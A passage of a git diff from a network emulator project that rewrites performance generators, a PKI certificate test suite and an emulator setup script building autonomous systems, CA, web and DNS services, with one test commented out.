createEmulation(asCount: int, asEachIx: int, routerEachAs: int, hostEachNet: int, hostService: Service, hostCommands: List[str], hostFiles: List[File], yes: bool) -> Emulator: - asNetworkPool = IPv4Network('16.0.0.0/4').subnets(new_prefix = 16) - linkNetworkPool = IPv4Network('32.0.0.0/4').subnets(new_prefix = 24) - ixNetworkPool = IPv4Network('100.0.0.0/13').subnets(new_prefix = 24) - ixCount = ceil(asCount / asEachIx) - - rtrCount = asCount * routerEachAs - hostCount = asCount * routerEachAs * hostEachNet + ixCount - netCount = asCount * (routerEachAs + routerEachAs - 1) + ixCount - - print('Total nodes: {} ({} routers, {} hosts)'.format(rtrCount + hostCount, rtrCount, hostCount)) - print('Total nets: {}'.format(netCount)) - - if not yes: - input('Press [Enter] to continue, or ^C to exit ') - - aac = AddressAssignmentConstraint(hostStart = 2, hostEnd = 255, hostStep = 1, routerStart = 1, routerEnd = 2, routerStep = 0) - - assert asCount <= 4096, 'too many ASes.' - assert ixCount <= 2048, 'too many IXs.' - assert hostEachNet <= 253, 'too many hosts.' - assert routerEachAs <= 256, 'too many routers.' - - emu = Emulator() - emu.addLayer(Routing()) - emu.addLayer(Ibgp()) - emu.addLayer(Ospf()) - - if hostService != None: - emu.addLayer(hostService) - - base = Base() - ebgp = Ebgp() - - ases: Dict[int, AutonomousSystem] = {} - asRouters: Dict[int, List[Router]] = {} - hosts: List[Node] = [] - routerAddresses: List[str] = [] - - # create ASes - for i in range(0, asCount): - asn = 5000 + i - asObject = base.createAutonomousSystem(asn) - - ases[asn] = asObject - asRouters[asn] = [] - - localNetPool = next(asNetworkPool).subnets(new_prefix = 24) - - # create host networks - for j in range(0, routerEachAs): - prefix = next(localNetPool) - netname = 'net{}'.format(j) - asObject.createNetwork(netname, str(prefix), aac = aac) - - router = asObject.createRouter('router{}'.format(j)) - router.joinNetwork(netname) - routerAddresses.append(str(next(prefix.hosts()))) - - asRouters[asn].append(router) - - # create hosts - for k in range(0, hostEachNet): - hostname = 'host{}_{}'.format(j, k) - host = asObject.createHost(hostname) - host.joinNetwork(netname) - - if hostService != None: - vnode = 'as{}_{}'.format(asn, hostname) - hostService.install(vnode) - emu.addBinding(Binding(vnode, action = Action.FIRST, filter = Filter(asn = asn, nodeName = hostname))) - - hosts.append(host) - - for file in hostFiles: - path, body = file.get() - host.setFile(path, body) - - routers = asRouters[asn] - - # link routers - for i in range (1, len(routers)): - linkname = 'link_{}_{}'.format(i - 1, i) - asObject.createNetwork(linkname, str(next(linkNetworkPool))) - routers[i - 1].joinNetwork(linkname) - routers[i].joinNetwork(linkname) - - lastRouter = None - asnPtr = 5000 - - ixMembers: Dict[int, Set[int]] = {} - - # create and join exchanges - for ix in range(1, ixCount + 1): - ixPrefix = next(ixNetworkPool) - ixHosts = ixPrefix.hosts() - ixNetName = base.createInternetExchange(ix, str(ixPrefix), rsAddress = str(next(ixHosts))).getPeeringLan().getName() - ixMembers[ix] = set() - - if lastRouter != None: - ixMembers[ix].add(lastRouter.getAsn()) - lastRouter.joinNetwork(ixNetName, str(next(ixHosts))) - - for i in range(1 if lastRouter != None else 0, asEachIx): - router = asRouters[asnPtr][0] - ixMembers[ix].add(router.getAsn()) - router.joinNetwork(ixNetName, str(next(ixHosts))) - - asnPtr += 1 - lastRouter = router - - # peerings - for ix, members in ixMembers.items(): - for a in members: - for b in members: - peers = ebgp.getPrivatePeerings().keys() - if a!= b and (ix, a, b) not in peers and (ix, b, a) not in peers: - ebgp.addPrivatePeering(ix, a, b, PeerRelationship.Unfiltered) - - # host commands - for host in hosts: - for cmd in hostCommands: - host.appendStartCommand(cmd.format( - randomRouterIp = choice(routerAddresses) - ), True) - - emu.addLayer(base) - emu.addLayer(ebgp) - - return emu - -def main(): - parser = argparse.ArgumentParser(description='Make an emulation with lots of networks.') - parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) - parser.add_argument('--ixs', help = 'Number of ASes in each IX.', required = True) - parser.add_argument('--routers', help = 'Number of routers in each AS.', required = True) - parser.add_argument('--hosts', help = 'Number of hosts in each AS.', required = True) - parser.add_argument('--web', help = 'Install web server on all hosts.', action = 'store_true') - parser.add_argument('--ping', help = 'Have all hosts randomly ping some router.', action = 'store_true') - parser.add_argument('--outdir', help = 'Output directory.', required = True) - parser.add_argument('--yes', help = 'Do not prompt for confirmation.', action = 'store_true') - - args = parser.parse_args() - - emu = createEmulation(int(args.ases), int(args.ixs), int(args.routers), int(args.hosts), WebService() if args.web else None, ['{{ while true; do ping {randomRouterIp}; done }}'] if args.ping else [], [], args.yes) - - emu.render() - emu.compile(Docker(selfManagedNetwork = True), args.outdir) - -if __name__ == '__main__': - main() +#!/usr/bin/env python3 + +from seedemu import * +from typing import List, Dict, Set +from ipaddress import IPv4Network +from math import ceil +from random import choice + +import argparse + +def createEmulation(asCount: int, asEachIx: int, routerEachAs: int, hostEachNet: int, hostService: Service, hostCommands: List[str], hostFiles: List[File], yes: bool) -> Emulator: + asNetworkPool = IPv4Network('16.0.0.0/4').subnets(new_prefix = 16) + linkNetworkPool = IPv4Network('32.0.0.0/4').subnets(new_prefix = 24) + ixNetworkPool = IPv4Network('100.0.0.0/13').subnets(new_prefix = 24) + ixCount = ceil(asCount / asEachIx) + + rtrCount = asCount * routerEachAs + hostCount = asCount * routerEachAs * hostEachNet + ixCount + netCount = asCount * (routerEachAs + routerEachAs - 1) + ixCount + + print('Total nodes: {} ({} routers, {} hosts)'.format(rtrCount + hostCount, rtrCount, hostCount)) + print('Total nets: {}'.format(netCount)) + + if not yes: + input('Press [Enter] to continue, or ^C to exit ') + + aac = AddressAssignmentConstraint(hostStart = 2, hostEnd = 255, hostStep = 1, routerStart = 1, routerEnd = 2, routerStep = 0) + + assert asCount <= 4096, 'too many ASes.' + assert ixCount <= 2048, 'too many IXs.' + assert hostEachNet <= 253, 'too many hosts.' + assert routerEachAs <= 256, 'too many routers.' + + emu = Emulator() + emu.addLayer(Routing()) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + if hostService != None: + emu.addLayer(hostService) + + base = Base() + ebgp = Ebgp() + + ases: Dict[int, AutonomousSystem] = {} + asRouters: Dict[int, List[Router]] = {} + hosts: List[Node] = [] + routerAddresses: List[str] = [] + + # create ASes + for i in range(0, asCount): + asn = 5000 + i + asObject = base.createAutonomousSystem(asn) + + ases[asn] = asObject + asRouters[asn] = [] + + localNetPool = next(asNetworkPool).subnets(new_prefix = 24) + + # create host networks + for j in range(0, routerEachAs): + prefix = next(localNetPool) + netname = 'net{}'.format(j) + asObject.createNetwork(netname, str(prefix), aac = aac) + + router = asObject.createRouter('router{}'.format(j)) + router.joinNetwork(netname) + routerAddresses.append(str(next(prefix.hosts()))) + + asRouters[asn].append(router) + + # create hosts + for k in range(0, hostEachNet): + hostname = 'host{}_{}'.format(j, k) + host = asObject.createHost(hostname) + host.joinNetwork(netname) + + if hostService != None: + vnode = 'as{}_{}'.format(asn, hostname) + hostService.install(vnode) + emu.addBinding(Binding(vnode, action = Action.FIRST, filter = Filter(asn = asn, nodeName = hostname))) + + hosts.append(host) + + for file in hostFiles: + path, body = file.get() + host.setFile(path, body) + + routers = asRouters[asn] + + # link routers + for i in range (1, len(routers)): + linkname = 'link_{}_{}'.format(i - 1, i) + asObject.createNetwork(linkname, str(next(linkNetworkPool))) + routers[i - 1].joinNetwork(linkname) + routers[i].joinNetwork(linkname) + + lastRouter = None + asnPtr = 5000 + + ixMembers: Dict[int, Set[int]] = {} + + # create and join exchanges + for ix in range(1, ixCount + 1): + ixPrefix = next(ixNetworkPool) + ixHosts = ixPrefix.hosts() + ixNetName = base.createInternetExchange(ix, str(ixPrefix), rsAddress = str(next(ixHosts))).getPeeringLan().getName() + ixMembers[ix] = set() + + if lastRouter != None: + ixMembers[ix].add(lastRouter.getAsn()) + lastRouter.joinNetwork(ixNetName, str(next(ixHosts))) + + for i in range(1 if lastRouter != None else 0, asEachIx): + router = asRouters[asnPtr][0] + ixMembers[ix].add(router.getAsn()) + router.joinNetwork(ixNetName, str(next(ixHosts))) + + asnPtr += 1 + lastRouter = router + + # peerings + for ix, members in ixMembers.items(): + for a in members: + for b in members: + peers = ebgp.getPrivatePeerings().keys() + if a!= b and (ix, a, b) not in peers and (ix, b, a) not in peers: + ebgp.addPrivatePeering(ix, a, b, PeerRelationship.Unfiltered) + + # host commands + for host in hosts: + for cmd in hostCommands: + host.appendStartCommand(cmd.format( + randomRouterIp = choice(routerAddresses) + ), True) + + emu.addLayer(base) + emu.addLayer(ebgp) + + return emu + +def main(): + parser = argparse.ArgumentParser(description='Make an emulation with lots of networks.') + parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) + parser.add_argument('--ixs', help = 'Number of ASes in each IX.', required = True) + parser.add_argument('--routers', help = 'Number of routers in each AS.', required = True) + parser.add_argument('--hosts', help = 'Number of hosts in each AS.', required = True) + parser.add_argument('--web', help = 'Install web server on all hosts.', action = 'store_true') + parser.add_argument('--ping', help = 'Have all hosts randomly ping some router.', action = 'store_true') + parser.add_argument('--outdir', help = 'Output directory.', required = True) + parser.add_argument('--yes', help = 'Do not prompt for confirmation.', action = 'store_true') + + args = parser.parse_args() + + emu = createEmulation(int(args.ases), int(args.ixs), int(args.routers), int(args.hosts), WebService() if args.web else None, ['{{ while true; do ping {randomRouterIp}; done }}'] if args.ping else [], [], args.yes) + + emu.render() + emu.compile(Docker(selfManagedNetwork = True), args.outdir) + +if __name__ == '__main__': + main() diff --git a/tests/performance/generator-2.py b/tests/performance/generator-2.py index 8b3af823e..97efcf7d0 100755 --- a/tests/performance/generator-2.py +++ b/tests/performance/generator-2.py @@ -1,93 +1,93 @@ -#!/usr/bin/env python3 - -from seedemu import * -from typing import List -import argparse - -TEST_SCRIPT = '''\ -#!/bin/bash - -# wait for b to go online (mostly waiting for routing convergence). -while ! ping -t255 -c10 {remote}; do sleep 1; done - -ping -c1000 -i.01 {remote} > /ping.txt -while ! iperf3 -c {remote} -t 60 > /iperf-tx.txt; do sleep 1; done -while ! iperf3 -Rc {remote} -t 60 > /iperf-rx.txt; do sleep 1; done - -touch /done -''' - -def createEmulation(asCount: int, chainLength: int) -> Emulator: - assert chainLength < 254, 'chain too long.' - emu = Emulator() - emu.addLayer(Routing()) - emu.addLayer(Ibgp()) - emu.addLayer(Ospf()) - - base = Base() - emu.addLayer(base) - - for asnOffset in range(0, asCount): - asn = 150 + asnOffset - - asObject = base.createAutonomousSystem(asn) - - nets: List[Network] = [] - lastNetName: str = None - - for netId in range(0, chainLength): - netName = 'net{}'.format(netId) - - net = asObject.createNetwork(netName) - nets.append(net) - - if lastNetName != None: - thisRouter = asObject.createRouter('router{}'.format(netId)) - - thisRouter.joinNetwork(netName) - thisRouter.joinNetwork(lastNetName) - - lastNetName = netName - - hostA = asObject.createHost('a') - hostB = asObject.createHost('b') - - netA = nets[0] - netB = nets[-1] - - addressA = netA.getPrefix()[100] - addressB = netB.getPrefix()[100] - - hostA.joinNetwork(nets[0].getName(), addressA) - hostB.joinNetwork(nets[-1].getName(), addressB) - - hostA.addSoftware('iperf3') - hostB.addSoftware('iperf3') - - hostA.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') - hostB.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') - - hostB.appendStartCommand('iperf3 -s -D') - - hostA.setFile('/test', TEST_SCRIPT.format(remote = addressB)) - hostA.appendStartCommand('chmod +x /test') - hostA.appendStartCommand('/test', True) - - return emu - - -def main(): - parser = argparse.ArgumentParser(description='Make an emulation with a ASes that has long hops and run ping and iperf across hosts.') - parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) - parser.add_argument('--hops', help = 'Number of hops between two hosts.', required = True) - parser.add_argument('--outdir', help = 'Output directory.', required = True) - - args = parser.parse_args() - - emu = createEmulation(int(args.ases), int(args.hops)) - - emu.render() - emu.compile(Docker(selfManagedNetwork = True), args.outdir) - -if __name__ == '__main__': - main() +#!/usr/bin/env python3 + +from seedemu import * +from typing import List +import argparse + +TEST_SCRIPT = '''\ +#!/bin/bash + +# wait for b to go online (mostly waiting for routing convergence). +while ! ping -t255 -c10 {remote}; do sleep 1; done + +ping -c1000 -i.01 {remote} > /ping.txt +while ! iperf3 -c {remote} -t 60 > /iperf-tx.txt; do sleep 1; done +while ! iperf3 -Rc {remote} -t 60 > /iperf-rx.txt; do sleep 1; done + +touch /done +''' + +def createEmulation(asCount: int, chainLength: int) -> Emulator: + assert chainLength < 254, 'chain too long.' + emu = Emulator() + emu.addLayer(Routing()) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + base = Base() + emu.addLayer(base) + + for asnOffset in range(0, asCount): + asn = 150 + asnOffset + + asObject = base.createAutonomousSystem(asn) + + nets: List[Network] = [] + lastNetName: str = None + + for netId in range(0, chainLength): + netName = 'net{}'.format(netId) + + net = asObject.createNetwork(netName) + nets.append(net) + + if lastNetName != None: + thisRouter = asObject.createRouter('router{}'.format(netId)) + + thisRouter.joinNetwork(netName) + thisRouter.joinNetwork(lastNetName) + + lastNetName = netName + + hostA = asObject.createHost('a') + hostB = asObject.createHost('b') + + netA = nets[0] + netB = nets[-1] + + addressA = netA.getPrefix()[100] + addressB = netB.getPrefix()[100] + + hostA.joinNetwork(nets[0].getName(), addressA) + hostB.joinNetwork(nets[-1].getName(), addressB) + + hostA.addSoftware('iperf3') + hostB.addSoftware('iperf3') + + hostA.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') + hostB.appendStartCommand('sysctl -w net.ipv4.ip_default_ttl=255') + + hostB.appendStartCommand('iperf3 -s -D') + + hostA.setFile('/test', TEST_SCRIPT.format(remote = addressB)) + hostA.appendStartCommand('chmod +x /test') + hostA.appendStartCommand('/test', True) + + return emu + + +def main(): + parser = argparse.ArgumentParser(description='Make an emulation with a ASes that has long hops and run ping and iperf across hosts.') + parser.add_argument('--ases', help = 'Number of ASes to generate.', required = True) + parser.add_argument('--hops', help = 'Number of hops between two hosts.', required = True) + parser.add_argument('--outdir', help = 'Output directory.', required = True) + + args = parser.parse_args() + + emu = createEmulation(int(args.ases), int(args.hops)) + + emu.render() + emu.compile(Docker(selfManagedNetwork = True), args.outdir) + +if __name__ == '__main__': + main() diff --git a/tests/pki/PKITestCase.py b/tests/pki/PKITestCase.py index 0450c20e4..4c211ec07 100644 --- a/tests/pki/PKITestCase.py +++ b/tests/pki/PKITestCase.py @@ -1,95 +1,95 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from tests import SeedEmuTestCase -from typing import List, TYPE_CHECKING -if TYPE_CHECKING: - from docker.models.containers import Container - -class PKITestCase(SeedEmuTestCase): - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(19) - cls.containers: List[Container] = cls.containers - - def test_root_cert_installed(self): - for container in self.containers: - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') is None: - continue - # CA will install its own root cert - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca1": - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") - self.assertEqual(code, 0) - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") - self.assertNotEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca2": - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") - self.assertEqual(code, 0) - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") - self.assertEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "150": - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") - self.assertEqual(code, 0) - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") - self.assertNotEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "151": - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") - self.assertNotEqual(code, 0) - code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") - self.assertEqual(code, 0) - continue - - def test_web_cert_issued(self): - for container in self.containers: - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') is None: - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.role') == "Route Server": - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.role') == "Router": - continue - # CA will install its own root cert - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca1": - code, _ = container.exec_run("curl https://user1.internal") - self.assertEqual(code, 0) - code, _ = container.exec_run("curl https://user2.internal") - self.assertNotEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca2": - code, _ = container.exec_run("curl https://user1.internal") - self.assertEqual(code, 0) - code, _ = container.exec_run("curl https://user2.internal") - self.assertEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "150": - code, _ = container.exec_run("curl https://user1.internal") - self.assertEqual(code, 0) - code, _ = container.exec_run("curl https://user2.internal") - self.assertNotEqual(code, 0) - continue - if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "151": - code, _ = container.exec_run("curl https://user1.internal") - self.assertNotEqual(code, 0) - code, _ = container.exec_run("curl https://user2.internal") - self.assertEqual(code, 0) - continue - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_root_cert_installed')) - test_suite.addTest(cls('test_web_cert_issued')) - return test_suite - -if __name__ == "__main__": - test_suite = PKITestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - PKITestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - PKITestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) - +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from tests import SeedEmuTestCase +from typing import List, TYPE_CHECKING +if TYPE_CHECKING: + from docker.models.containers import Container + +class PKITestCase(SeedEmuTestCase): + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(19) + cls.containers: List[Container] = cls.containers + + def test_root_cert_installed(self): + for container in self.containers: + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') is None: + continue + # CA will install its own root cert + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca1": + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") + self.assertEqual(code, 0) + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") + self.assertNotEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca2": + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") + self.assertEqual(code, 0) + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") + self.assertEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "150": + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") + self.assertEqual(code, 0) + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") + self.assertNotEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "151": + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_0.pem") + self.assertNotEqual(code, 0) + code, _ = container.exec_run("ls /etc/ssl/certs/SEEDEMU_Internal_Root_CA_1.pem") + self.assertEqual(code, 0) + continue + + def test_web_cert_issued(self): + for container in self.containers: + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') is None: + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.role') == "Route Server": + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.role') == "Router": + continue + # CA will install its own root cert + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca1": + code, _ = container.exec_run("curl https://user1.internal") + self.assertEqual(code, 0) + code, _ = container.exec_run("curl https://user2.internal") + self.assertNotEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.nodename') == "ca2": + code, _ = container.exec_run("curl https://user1.internal") + self.assertEqual(code, 0) + code, _ = container.exec_run("curl https://user2.internal") + self.assertEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "150": + code, _ = container.exec_run("curl https://user1.internal") + self.assertEqual(code, 0) + code, _ = container.exec_run("curl https://user2.internal") + self.assertNotEqual(code, 0) + continue + if container.labels.get('org.seedsecuritylabs.seedemu.meta.asn') == "151": + code, _ = container.exec_run("curl https://user1.internal") + self.assertNotEqual(code, 0) + code, _ = container.exec_run("curl https://user2.internal") + self.assertEqual(code, 0) + continue + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + # test_suite.addTest(cls('test_root_cert_installed')) + test_suite.addTest(cls('test_web_cert_issued')) + return test_suite + +if __name__ == "__main__": + test_suite = PKITestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + PKITestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + PKITestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) + diff --git a/tests/pki/emulator-code/test-emulator.py b/tests/pki/emulator-code/test-emulator.py index a04ff6442..f1adbf92e 100644 --- a/tests/pki/emulator-code/test-emulator.py +++ b/tests/pki/emulator-code/test-emulator.py @@ -1,143 +1,143 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.compiler import Docker -from seedemu.core import Binding, Emulator, Filter, Action -from seedemu.layers import Base, Ebgp, Ibgp, Ospf, Routing, PeerRelationship -from seedemu.services import DomainNameCachingService, DomainNameService, CAService, CAServer, WebService, WebServer, RootCAStore - -emu = Emulator() -base = Base() -routing = Routing() -ebgp = Ebgp() -ibgp = Ibgp() -ospf = Ospf() -ca = CAService() -web = WebService() - -########################################################### - -ix100 = base.createInternetExchange(100) -ix101 = base.createInternetExchange(101) - -ix100.getPeeringLan().setDisplayName('NYC-100') -ix101.getPeeringLan().setDisplayName('San Jose-101') - -as2 = base.createAutonomousSystem(2) - -as2.createNetwork('net0') - -# Create two routers and link them in a linear structure: -# ix100 <--> r1 <--> r2 <--> ix101 -# r1 and r2 are BGP routers because they are connected to internet exchanges -as2.createRouter('r1').joinNetwork('net0').joinNetwork('ix100') -as2.createRouter('r2').joinNetwork('net0').joinNetwork('ix101') - -caStore1 = RootCAStore(caDomain='ca1.internal') -caStore2 = RootCAStore(caDomain='ca2.internal') - -caServer1: CAServer = ca.install('ca1-vnode') -caServer1.setCAStore(caStore1) -caServer1.installCACert(Filter(asn=150)) - -caServer2: CAServer = ca.install('ca2-vnode') -caServer2.setCAStore(caStore2) -caServer2.installCACert(Filter(asn=151)) - -as150 = base.createAutonomousSystem(150) -as150.createNetwork('net0') -as150.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') -for i in range(6): - as150.createHost('host_{}'.format(i)).joinNetwork('net0') -# Do not install the CA cert on the CA host -as150.createHost('ca1').joinNetwork('net0', address='10.150.0.7') -as150.createHost('ca2').joinNetwork('net0', address='10.150.0.8') - -as151 = base.createAutonomousSystem(151) -as151.createNetwork('net0') -as151.createRouter('router0').joinNetwork('net0').joinNetwork('ix101') -for i in range(2): - as151.createHost('host_{}'.format(i)).joinNetwork('net0') - -as150.createHost('web1').joinNetwork('net0', address='10.150.0.9') -as151.createHost('web2').joinNetwork('net0', address='10.151.0.7') - -webServer1: WebServer = web.install('web1-vnode') -webServer1.setServerNames(['user1.internal']) -webServer1.setCAServer(caServer1).enableHTTPS() - -webServer2: WebServer = web.install('web2-vnode') -webServer2.setServerNames(['user2.internal']) -webServer2.setCAServer(caServer2).enableHTTPS() - -emu.addBinding(Binding('ca1-vnode', filter=Filter(nodeName='ca1'), action=Action.FIRST)) -emu.addBinding(Binding('ca2-vnode', filter=Filter(nodeName='ca2'), action=Action.FIRST)) -emu.addBinding(Binding('web1-vnode', filter=Filter(nodeName='web1'), action=Action.FIRST)) -emu.addBinding(Binding('web2-vnode', filter=Filter(nodeName='web2'), action=Action.FIRST)) - - -ebgp.addPrivatePeering(100, 2, 150, abRelationship = PeerRelationship.Provider) -ebgp.addPrivatePeering(101, 2, 151, abRelationship = PeerRelationship.Provider) - -emu.addLayer(base) -emu.addLayer(routing) -emu.addLayer(ebgp) -emu.addLayer(ibgp) -emu.addLayer(ospf) -emu.addLayer(ca) -emu.addLayer(web) - -########################################################### -# Create a DNS layer -dns = DomainNameService() - -# Create two nameservers for the root zone -dns.install('a-root-server').addZone('.').setMaster() # Master server -dns.install('b-root-server').addZone('.') # Slave server - -# Create nameservers for TLD and ccTLD zones -# https://itp.cdn.icann.org/en/files/root-system/identification-tld-private-use-24-01-2024-en.pdf -dns.install('a-internal-server').addZone('internal.').setMaster() -dns.install('b-internal-server').addZone('internal.') - -dns.install('ns-ca-internal').addZone('ca1.internal.').addZone('ca2.internal.') -dns.install('ns-user-internal').addZone('user1.internal.').addZone('user2.internal') - -# Add records to zones -dns.getZone('ca1.internal.').addRecord('@ A 10.150.0.7') -dns.getZone('ca2.internal.').addRecord('@ A 10.150.0.8') -dns.getZone('user1.internal.').addRecord('@ A 10.150.0.9') -dns.getZone('user2.internal.').addRecord('@ A 10.151.0.7') - -emu.addLayer(dns) - -emu.addBinding(Binding('a-root-server', filter=Filter(asn=150), action=Action.FIRST)) -emu.addBinding(Binding('b-root-server', filter=Filter(asn=150), action=Action.FIRST)) -emu.addBinding(Binding('a-internal-server', filter=Filter(asn=150), action=Action.FIRST)) -emu.addBinding(Binding('b-internal-server', filter=Filter(asn=150), action=Action.FIRST)) -emu.addBinding(Binding('ns-ca-internal', filter=Filter(asn=150), action=Action.FIRST)) -emu.addBinding(Binding('ns-user-internal', filter=Filter(asn=150), action=Action.FIRST)) - -########################################################### -# Create two local DNS servers (virtual nodes). -ldns = DomainNameCachingService() -ldns.install('global-dns') - -# Customize the display name (for visualization purpose) -emu.getVirtualNode('global-dns').setDisplayName('Global DNS') - -as151 = base.getAutonomousSystem(151) -as151.createHost('local-dns').joinNetwork('net0', address = '10.151.0.53') - -emu.addBinding(Binding('global-dns', filter = Filter(asn=151, nodeName="local-dns"))) - -# Add 10.153.0.53 as the local DNS server for all the other nodes -base.setNameServers(['10.151.0.53']) - -# Add the ldns layer -emu.addLayer(ldns) - -########################################################### - -emu.render() -emu.compile(Docker(), './output', override=True) +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.compiler import Docker +from seedemu.core import Binding, Emulator, Filter, Action +from seedemu.layers import Base, Ebgp, Ibgp, Ospf, Routing, PeerRelationship +from seedemu.services import DomainNameCachingService, DomainNameService, CAService, CAServer, WebService, WebServer, RootCAStore + +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +ospf = Ospf() +ca = CAService() +web = WebService() + +########################################################### + +ix100 = base.createInternetExchange(100) +ix101 = base.createInternetExchange(101) + +ix100.getPeeringLan().setDisplayName('NYC-100') +ix101.getPeeringLan().setDisplayName('San Jose-101') + +as2 = base.createAutonomousSystem(2) + +as2.createNetwork('net0') + +# Create two routers and link them in a linear structure: +# ix100 <--> r1 <--> r2 <--> ix101 +# r1 and r2 are BGP routers because they are connected to internet exchanges +as2.createRouter('r1').joinNetwork('net0').joinNetwork('ix100') +as2.createRouter('r2').joinNetwork('net0').joinNetwork('ix101') + +caStore1 = RootCAStore(caDomain='ca1.internal') +caStore2 = RootCAStore(caDomain='ca2.internal') + +caServer1: CAServer = ca.install('ca1-vnode') +caServer1.setCAStore(caStore1) +caServer1.installCACert(Filter(asn=150)) + +caServer2: CAServer = ca.install('ca2-vnode') +caServer2.setCAStore(caStore2) +caServer2.installCACert(Filter(asn=151)) + +as150 = base.createAutonomousSystem(150) +as150.createNetwork('net0') +as150.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') +for i in range(6): + as150.createHost('host_{}'.format(i)).joinNetwork('net0') +# Do not install the CA cert on the CA host +as150.createHost('ca1').joinNetwork('net0', address='10.150.0.7') +as150.createHost('ca2').joinNetwork('net0', address='10.150.0.8') + +as151 = base.createAutonomousSystem(151) +as151.createNetwork('net0') +as151.createRouter('router0').joinNetwork('net0').joinNetwork('ix101') +for i in range(2): + as151.createHost('host_{}'.format(i)).joinNetwork('net0') + +as150.createHost('web1').joinNetwork('net0', address='10.150.0.9') +as151.createHost('web2').joinNetwork('net0', address='10.151.0.7') + +webServer1: WebServer = web.install('web1-vnode') +webServer1.setServerNames(['user1.internal']) +webServer1.setCAServer(caServer1).enableHTTPS() + +webServer2: WebServer = web.install('web2-vnode') +webServer2.setServerNames(['user2.internal']) +webServer2.setCAServer(caServer2).enableHTTPS() + +emu.addBinding(Binding('ca1-vnode', filter=Filter(nodeName='ca1'), action=Action.FIRST)) +emu.addBinding(Binding('ca2-vnode', filter=Filter(nodeName='ca2'), action=Action.FIRST)) +emu.addBinding(Binding('web1-vnode', filter=Filter(nodeName='web1'), action=Action.FIRST)) +emu.addBinding(Binding('web2-vnode', filter=Filter(nodeName='web2'), action=Action.FIRST)) + + +ebgp.addPrivatePeering(100, 2, 150, abRelationship = PeerRelationship.Provider) +ebgp.addPrivatePeering(101, 2, 151, abRelationship = PeerRelationship.Provider) + +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) 